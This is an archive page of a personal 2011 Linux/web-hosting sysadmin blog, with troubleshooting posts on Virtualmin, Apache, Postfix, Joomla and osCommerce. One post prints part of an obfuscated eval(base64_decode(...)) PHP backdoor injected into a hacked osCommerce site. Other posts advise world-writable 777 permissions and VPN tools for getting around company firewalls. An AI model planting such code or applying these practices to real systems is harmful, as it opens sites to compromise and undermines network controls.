Posts

Showing posts from 2011

cannot install com_comprofiler.zip

yes you see it right! ok lets get it fixed! 1. memory limit you said you changed in php.ini or in php config somewhere on public folder, CHECK AGAIN - if you are using virtualmin/webmin/cpanel and as "virtual host" different setting override the default values in php.ini so check on virtual site's php option 2. the tmp file, where's your virtual site's temp folder? check it if not using the system wide /tmp and is inside the virtual host change to 777 and just change back after installing. 3. check components folder. change to 777 then after install change to 755

xen host centos paravirt ubuntu pain in the ass

creating para virt guest on centos dom0 is pain in the ass check. luckily got this link but im not doing it http://markmail.org/message/ez2o3v2bid7xwafo ill just use vbox on paravirt ..

Linux Virtualization

I was on Xen,Vbox and Vmware Virtualization for server and desktop mainly centos and ubuntu. Then the bad thing happend they dropped it for kvm. I was searching for alternative new linux release that has xen on it. for now i need to stick on old centos 5.7 since 6 dropped it on the floor.

Apache Tomcat Cannot Start or Not Starting

I have a customer that needs hep on apache/tomcat that is not running or not functioning the solution is below https://kc.mcafee.com/corporate/index?page=content&id=KB54567

Virtualmin and Awstats

If you are using virtualmin and your client wants to check on the stats but don't like to login on virtualmin the absolute link and file can be used. For example your domain name is http://mazaredo.com/, put in browser http://mazaredo.com/awstats/awstats.pl This will invoke the perl file and ask you for a username and password and will show your awstats.

Some ways to clean and fix your computer

Is your computer slow? You just bought it like a couple of months or reformatted it like just a month ago? Some things that might help you solve the problem. 1. Scandisk - scan your computer for corruption. Before it was quite cool in windows 98 we just type in on the command prompt : scandisk /autofix and it will scan it all by itself. For windows xp and later you can do it by going to my computer, right click on the hard drive (usually c drive) click on properties, click on the tools tab in the "error-checking" click check now this will invoke the scan program though you can continue on this since it will ask you if you want to scan it at boot time " boot time means when your computer is starting" just click th ok button and restart your computer and wait for the scan to finish. Most problems not related to virus will be fixed by this. before there is also the famous "ndd" i love that program. norton disk doctor 2. Defragment - Also this one will event

Virtualmin Issues: Apache dying every week at midnight

Issues : 100% http cpu load, Server Hangs, Http Dying Every Week There are lot of things I've done. 1. Check the cron jobs every week and change some weekly jobs and spread it on random day to another day like sat so they will spread the load 2. Create a script that auto checks that apache every 5 min there is a howto on the internet you can follow just google it. 3. This is the last thing that I've been doing read below: I've been looking for a solution on this one for quite long time now and havent figured it out. Log of apache doesnt give a clue. Maybe others logs have a clue the last log I havent checked was the logrotate logs. ( the log of the log rotator lol) I run the logrotate and poof! server down :D some freaking code there. I checked and found that the virtual sites rotates the log and invoking a restart of the httpd. I checked and tried and change the restart to graceful but no avail. So why do the server needs to be restarted?? Dunno really maybe to clear and s

html,css standards: what about browser standards!

They say Standard this and that : Follow the standards ffs standards? where uhmm yeah! WTF! Check and Revalidate! What are you a guru? There are no rules on html! You have to save it with an extenson of html to be parsed! So to be standard you have to code for all the browsers out there! including lynx browser.

Virtualmin Httpd Problem Stopping Fix Howto

Image
Fix : on crontab Also fix when http stacks up ( websites still functioning but the status on webmin is down )

The Linux Top Command

The linux top command will show you the running process on the server or desktop (linux based system) this is like the task manager in windows. To run the command just type in the commandline: top Several useful keys when on the program click a letter on the key board for example u - this will ask you to put a user in the field and it will only show the process for that user For more commnads press h the below help will show: Help for Interactive Commands - procps version 3.2.7 Window 1:Def: Cumulative mode Off.  System: Delay 3.0 secs; Secure mode Off.   Z,B       Global: 'Z' change color mappings; 'B' disable/enable bold   l,t,m     Toggle Summaries: 'l' load avg; 't' task/cpu stats; 'm' mem info   1,I       Toggle SMP view: '1' single/separate states; 'I' Irix/Solaris mode   f,o     . Fields/Columns: 'f' add or remove; 'o' change display order   F or O  . Select sort field   <,>     . Move

Apache Randomly Stopping Every Day

New Fix Here Recently I have been experiencing apache server stopping randomly from time to time. Myabe due to DDos Atack or some weird event that I can't find in the logs. Maybe some cron job but I have been checking and stopping cron jobs but it has no effect. Also aI have DDos Blocker that blocks Ip Addresses whne they reach a maximum connection so I can't say he problem where IT was originating . Not Band Width Problem Since I have sonic.net at my back. No Clue At All. My Setup is Centos 5 with Virtualmin all packages are up to date. My Fix Was the following: I have searched for a script / command that will check apache if it is down, I found it somewhere in the web tyou can google it since it's one on the top of the list. Then I cron job It Every 5 minutes interval so if it fails on the 2nd minute I'm only down on 3 minutes and it will go up again. The funny thing is it is random so that's why i chose every 5 minutes. I rather choose every hour but it will pena

Linux Checking connected Ip Address and How many Connection

netstat -ntu | grep ':' | awk '{print $5}' | sed 's/::ffff://' | cut -f1 -d ':' | sort | uniq -c | sort -nr This command will check what Ip Addresses are connected to the machine and how many connection. This was a code used in dosdeflate an anti ddos program written for linux. Check google for dosdeflate.

You need Meta Tags, Always Use Them

After the title you need to edit the html (geez edit the html im a noob!) yes you are but you need this to do things very easy just backup the file. In the design tab click edit html below is my html <head>     <meta content='Title of your blog' name='title'/>      <meta content='IE=EmulateIE7' http-equiv='X-UA-Compatible'/>     <b:if cond='data:blog.isMobile'>       <meta content='width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0' name='viewport'/>     <b:else/>       <meta content='width=1100' name='viewport'/>     </b:if>     <b:include data='blog' name='all-head-content'/>     <title><data:blog.pageTitle/></title>    <meta content='the description of your site' name='description'/>     <meta content='keyword keyword keyword' name='keywords'/> <m

Check for open ports on computer

1. Linux         Create a file on console steps below --------------------------- $ nano portscan.sh -------------------------------- #!/bin/bash nmap -sS -O ip.address.off.the.server Save the file $chmod 777 portscan.sh ------------------------------------------------------------------ Basically you can just run the command much simpler $ nmap -sS -O ip.address.off.the.server It will output PORT     STATE SERVICE 22/tcp   open  ssh 80/tcp   open  http 443/tcp  open  https 1241/tcp open  nessus ----------------------------------------------------------------- --- the scanning is for open ports since all ports are closed in linux --- in windows create a batch file c:\>copy con portscan.bat paste inside:         netstat -a | find "LISTENING" save the file -- NOTE THIS IS if you are inside the machine ---

open source web server load balancing

Nginx Load Balancing | Reverse Proxy Nginx | SSL Nginx Used The howto of nixcraft.in.conf that can be found on google baby First File   GNU nano 2.0.9                                          File: nginx.conf.bak                                                                                          #pid        /var/run/nginx.pid; pid               logs/nginx.pid; user              nginx nginx; worker_processes  10; events {     worker_connections  1024; } http {   default_type       application/octet-stream;  ## Common options ##  include options.conf;  ## Proxy settings ##  include proxy.conf;  ## lb domains ##  include nixcraft.in.conf;  include loadtest.conf; Second File  nixcraft.in.conf ## Connect to backend servers via LAN ## ## Reverse Proxy Load Balancer Logic ## upstream nixcraft  {       server publicip weight=10 max_fails=3 fail_timeout=30s;       server publicip weight=10 max_fails=3 fail_timeout=30s;       server publicip

ClamAv now on Sourcefire

ClamAv the free antivirus has been acquired by sourcefire they no longer accept donations. Hope they feed the clam very good since that clam is ok in opensource.

crontab virtualmin edition

For those of you who dont understand the crontab on virtualmin here are some useful steps bakup of virtual servers: Create a backup and create any schedule. Login to console and enter: $crontab -e This will open the crontab using the "vi" editor not your "nano" so be careful Look for the backup line like these below 0 0 * * 1-6 /etc/webmin/virtual-server/backup.pl --id 129783156318631 0 0 * * 7 /etc/webmin/virtual-server/backup.pl --id 130216537832489 The red marks what you should edit. the first red is run the backup every midnight from monday to saturday The second red is backup every midnight sunday. So if you want to backup every monday to friday  0 0 * * 1-5 monday to thursday  0 0 * * 1-4 every day at 1pm 0 1 * * * every day at 3pm 0 3 * * * modany to friday every 1pm 0 1 * * 1-5 Check this site here also has a live howto that will output it ! cool linkah!

killall httpd | /sbin/service httpd restart

Having problems every week apache goes down randomly and need to kill all httpd ten restart it. So I checked and see if this can come in handy hourly restart of httpd killing all process . The httpd gets too high Add at crontab $myserver crontab -e @hourly killall httpd | /sbin/service httpd restart | mail linux@microsoft.com #Reload Apache Ever Hour to save :w :q

Bypass Firewall

If you can't connect to games or websites due to banned ip address or location, it's your lucky day!. Some games or websites only allow their fellow countrymen to use the service like vindictus, ragnarok servers (before) and some others. Check the softwares below: hotspot shield - This is easy to use just download and install this will install a vpn access to their server and give you a us ip address for free! yourfreedom - this one is also good but disconnects you in some time best to bypass company firewalls and other stuff this will tunnel you to yourfreedom servers and allow you to surf you favorite site!

Water Wonder Resort

Image
Water Wonder Resort Location: Inarawan Antipolo City To go here from Cubao Gateway Side - Ride Jeep or Fx going to Padilla ask the driver you are going to Water Wonder Resort. From there you can take a tricycle. Best days to go here are not April or May since there are many people going here from Antipolo Area Earn money register free!

IDE RAID1 ON UBUNTU

IDE RAID1 ON UBUNTU http://www.howtoforge.com/how-to-install-ubuntu8.04-with-software-raid1 NOTE ON THE DOCUMENT WHERE YOU NEED TO MAKE THE OTHER DISK BOOTABLE USE sudo grub How To Install Ubuntu 8.04 With Software RAID1 This short guide explains how you can configure software RAID1 during the initial installation of an Ubuntu 8.04 ("Hardy Heron") system. During Ubuntu installation: • From the “Partitions Disks” dialog box, select “Manually edit the partition table”. • Select the first disk (”sda”). • Say yes to “Create a new empty partition table on this device?”. • Use the dialog boxes to create one primary partition large enough to hold the root filesystem. • For “How to use this partition” select “physical volume for RAID“, not the default “Ext3 journaling file system”. • Make the partition bootable. • Use the dialogs to create one other primary partition taking up the remaining disk space. Later this will be used for swap. • For “How to use this part

Postfix Message and Mailbox Limit

Postfix Message and Mailbox Limit Also Calculator for bytes to mbytes http://www.123marbella.net/en/free-bandwith-calculator.html http://muhdzamri.blogspot.com/2007/02/postfix-mailbox-size-limit-and-message.html

Dual Boot Ubuntu with Xp

Dual Booting Linux and Windows on different hard drive assuming you have installed linux and windows not touching each other upon installation. 1st Hard Drive - Ubuntu Linux 8.04 Hardy 2nd Hard Drive - Windows XP Pro Primary Master is Linux Primary Slave is Windows We set Linux as the OS to Boot why? Because I want it. Edit menu.list in /boot/grub ==================================================== title Ubuntu 8.04, kernel 2.6.24-16-generic root (hd0,0) kernel /boot/vmlinuz-2.6.24-16-generic root=UUID=1653c057-1c9d-4fac-a46e-fe9fa76e4b7b ro quiet splash initrd /boot/initrd.img-2.6.24-16-generic quiet title Ubuntu 8.04, kernel 2.6.24-16-generic (recovery mode) root (hd0,0) kernel /boot/vmlinuz-2.6.24-16-generic root=UUID=1653c057-1c9d-4fac-a46e-fe9fa76e4b7b ro single initrd /boot/initrd.img-2.6.24-16-generic title Ubuntu 8.04, memtest86+ root (hd0,0) kernel /boot/memtest86+.bin q

Virtualmin Postfix Error

Yesterday the mail was running smoothly no problem at all. I added some RBL spamcop sorbs and other stuff just like that also edited spamassasin rules. then logged out. My Boss wake me that the mail was not working !!! DANG So I hurried to check. Tail the log $tail -f /var/log/maillog !!!! IT WAS BLOCKING 127.0.0.1 local himself I checked whats the problem then i disabled ( commented out amavis in posftfix configuration ) The 127.0.0.1 blocking is gone BUT! i cannot recive mails damn! it says "unknown user in virtual table" I checked maybe it got hacked but no there's the user can login and send mails Hmm proceed to re load old main.cf configuration that working maybe i deleted something. But no still same Check Again Then I tried stoping amavisd IT CANT BE STOPPED some pid "eh" i look again close it says its not running! I started amavisd and whoa all worked again. Problem boss asked "where are the mails yesterday" usually it bounces bac

Oscommerce disable un -needed links in Information Box

To remove un-necessary items edit catalog/includes/modules/boxes/ bm_information.php find the lines you dont need Below is the code: $data = '<div class="ui-widget infoBoxContainer">' .               '  <div class="ui-widget-header infoBoxHeading">' . MODULE_BOXES_INFORMATION_BOX_TITLE . '</div>' .               '  <div class="ui-widget-content infoBoxContents">' . IN THE MIDDLE OF THIS ARE SOME CODES AND LINKS I DON NEED  I ONLY NEED CONTACT US SO I DELETED THE OTHER STUFF DELETE HERE               '    <a href="' . tep_href_link(FILENAME_CONTACT_US) . '">' . MODULE_BOXES_INFORMATION_BOX_CONTACT . '</a>' .               '  </div>' .               '</div>';

Oscommerce disable header buttons login cart

I needed to disable the cart function of the oscommerce first step is disable the most visible item the login, checkout buttons In stylsheet.css find this add the display: none; #headerShortcuts {   display: none;   float: left;   margin-top: 5px; }

JFolder::create: Could not create directory

I got this weird problem in Jommla where I cannot install this module. Since we also have access to our own server I checked the following as stated on some other websites monstly on joomla's site. (directories might be differ but we will be talking about your installation directory) in you installation directory check the tmp folder change permission to 777 then change back to 755 after you check if the installation continues. If this solve the problem you need to fix folder and file permission. DO NOT LEAVE tmp at 777 !!! check logs directory (though i dont know why some stated this) also check logs for the problems this where the tail command comes handy. check the configuration.php and look for these lines  var $log_path = '/home/freakazoid/logs';  var $tmp_path = '/home/freakazoid/tmp'; change these to some folder where there is read/write access (A SECURE ONE) I changed my default tmp to global tmp var $tmp_path = './tmp'; this wi

Address already in use: make_sock: could not bind to address - Apache - HTTPD Error

Image
Address already in use: make_sock: could not bind to address - Apache - HTTPD Error The problem is the apache is running but in webmin it says it's down (some say it's the PID) so I check who is using the port [root@jmaz] netstat -lnp | grep :80 In webmin you can check the process in Webmin->System-> Running Process and kill the process there just kill them all [root@jmaz] killall httpd [root@jmaz] service httpd start

DDOS Deflate fix for wrong email format sent

This one is a fix for the wrong email sent by ddos deflate. edit the configuration and use this line. netstat -ntu | grep ':' | awk '{print $5}' | sed 's/::ffff://' | cut -f1 -d ':' | sort | uniq -c | sort -nr

A encoded script in one of the hacked sites using oscommerce

 A code that was injected to one of the oscommerce sites <?php eval(base64_decode("ZnVuY3Rpb24gZXZhbGhJT29MZ0xLWlltdEooJHMpe2ZvciAoJGEgPSAwOyAkYSA8PSBzdHJsZW4oJHMpLTE7ICRhKysgKXskZSAuPSAkc3tzdHJsZW4oJHMpLSRhLTF9O31yZXR1cm4oJGUpO31ldmFsKGV2YWxoSU9vTGdMS1pZbXRKKCc7KSkiPTAzT3BBVFdMbEdUUnhtYzBsa1VxNTBUc0ZtZGxSQ0tsUjJialZHWmZSak5sTlhZaUJpYnlWSGRsSjNlZ2tDTVp0VWFNRkZieVJYU1NwbVRQeFdZMlZHSm9rMVNweFVVc0pIZEpKbGFPOUViaFpYWmc0MmJwUjNZdVZuWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGhJT29MZ0xLWlltdEooJzspKSI9c1RLaTBUUDNKV2IxY1ZZaWdTV0xsR1RSeG1jMGxrVXE1MFRzRm1kbEJTUGdFMVFTRjNZVGwzVklKbFJ5UlZUNXhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxoSU9vTGdMS1pZbXRKKCc7KSkiN2tpSTkwRVNraG1Vek1tSW9rMVNweFVVc0pIZEpKbGFPOUViaFpYWjlNa1laSlZkaGhsZXhsRVMzVjBhd3hXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxoSU9vTGdMS1pZbXRKKCc7KSkiPXNUS2kwVFBCTkdNU2hVWWlnU1dMbEdUUnhtYzBsa1VxNTBUc0ZtZGwxamUybFhlcVYwWmhSM1EycEhjRnhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxoSU9vTGdMS1pZbXRKKCc7KSkiPXN

Running Linux on Virtual Box

Linux is one of the operating systems out there that is free no need to pay just download and install. For new technical people that want to use this piece of software (yes it's a software not a food) you can download ubuntu, or centos (my choice or even fedora) at Distrowatch.Com where before I check always for new distribution. Like microsoft it has many types example microsoft has windows xp, 2000, Me, 98 Vista, Windows 7 Linux has much more. Linux is like the DOS prompt then developers begin to create window managers for it so it looks like your average windows now. Very easy to install and use. Though you don't want to erase your 1 million dollar software pre installed in your alienware box you have the alternative to use virtualbox the free emulator (something like that in layman's term) you install this first and you can install linux inside the virtualbox like a window when you play windowed games like ragnarok, flyff perfect world and other games. 2 steps

Troubleshooting Hacked Oscommerce

First things first, Oscommerce is a good software and we use it. Some old version that we have got hacked (before I get in to the company) To check what files are compromised check the dates of the files thiis is the most important since ou will see what are modified. The fastest way I did was to grep -r 'base64' * since the hacker injected some encrypted code it the files this will let you see what files have the code. I'm not a guru though. delete the lines that shouldn't be there Also they put codes in .htaccess and this will let your website redirect to some other sites .ru site Check also you php.ini since they also get inside of that and put this base decode blah. secure your tmp folder and chmod your file to 755. Also the last measure is to auto block the ip addresses that do lots of connection via anti ddos (dosdeflate) Well then after that hopefully the hackers will get angry and ddos your site till it gets down :)

complete email centos postfix dkim spamassassin

Remove sendmail yum remove sendmail Postfix yum install postfix yum install cyrus-sasl cyrus-sasl-devel cyrus-sasl-gssapi cyrus-sasl-md5 cyrus-sasl-plain /etc/postfix/main.cf myhostname = mail.example.com mydomain = example.com myorigin = $mydomain home_mailbox = Maildir/ mailbox_command = mynetworks = 127.0.0.0/8 inet_interfaces = all mydestination = $myhostname, localhost.$mydomain, localhost, $mydomain relay_domains = local_recipient_maps = smtpd_sasl_local_domain = smtpd_sasl_auth_enable = yes smtpd_sasl_type = cyrus smtpd_sasl_security_options = noanonymous broken_sasl_auth_clients = yes smtpd_sasl_authenticated_header = yes smtpd_recipient_restrictions = permit_sasl_authenticated,permit_mynetworks,reject_unauth_destination /etc/postfix/master.cf smtps inet n - n - - smtpd -o smtpd_sasl_auth_enable=yes -o smtpd_reject_unlisted_sender=yes -o smtpd_recipient_restrictions=permit_sasl_authenticated,reject -o broken_

ImageMagick Problem

Can't load '/usr/lib/perl5/site_perl/5.8.8/i386-linux-thread-multi/auto/Image/Magick/Magick.so' for module Image::Magick: libMagickCore.so.4: cannot open shared object file: No such file or directory at /usr/lib/perl5/5.8.8/i386-linux-thread-multi/DynaLoader.pm line 230., do this to fix problem cd /etc/ld.so.conf.d Create a PerlMagick.conf in ld.so.conf.d put this inside /usr/lib/perl5/site_perl/5.8.8/i386-linux-thread-multi/auto/Image/Magick/ /usr/lib/perl5/vendor_perl/5.8.8/i386-linux-thread-multi/auto/Image/Magick/ /usr/local/lib ldconfig /usr/local/lib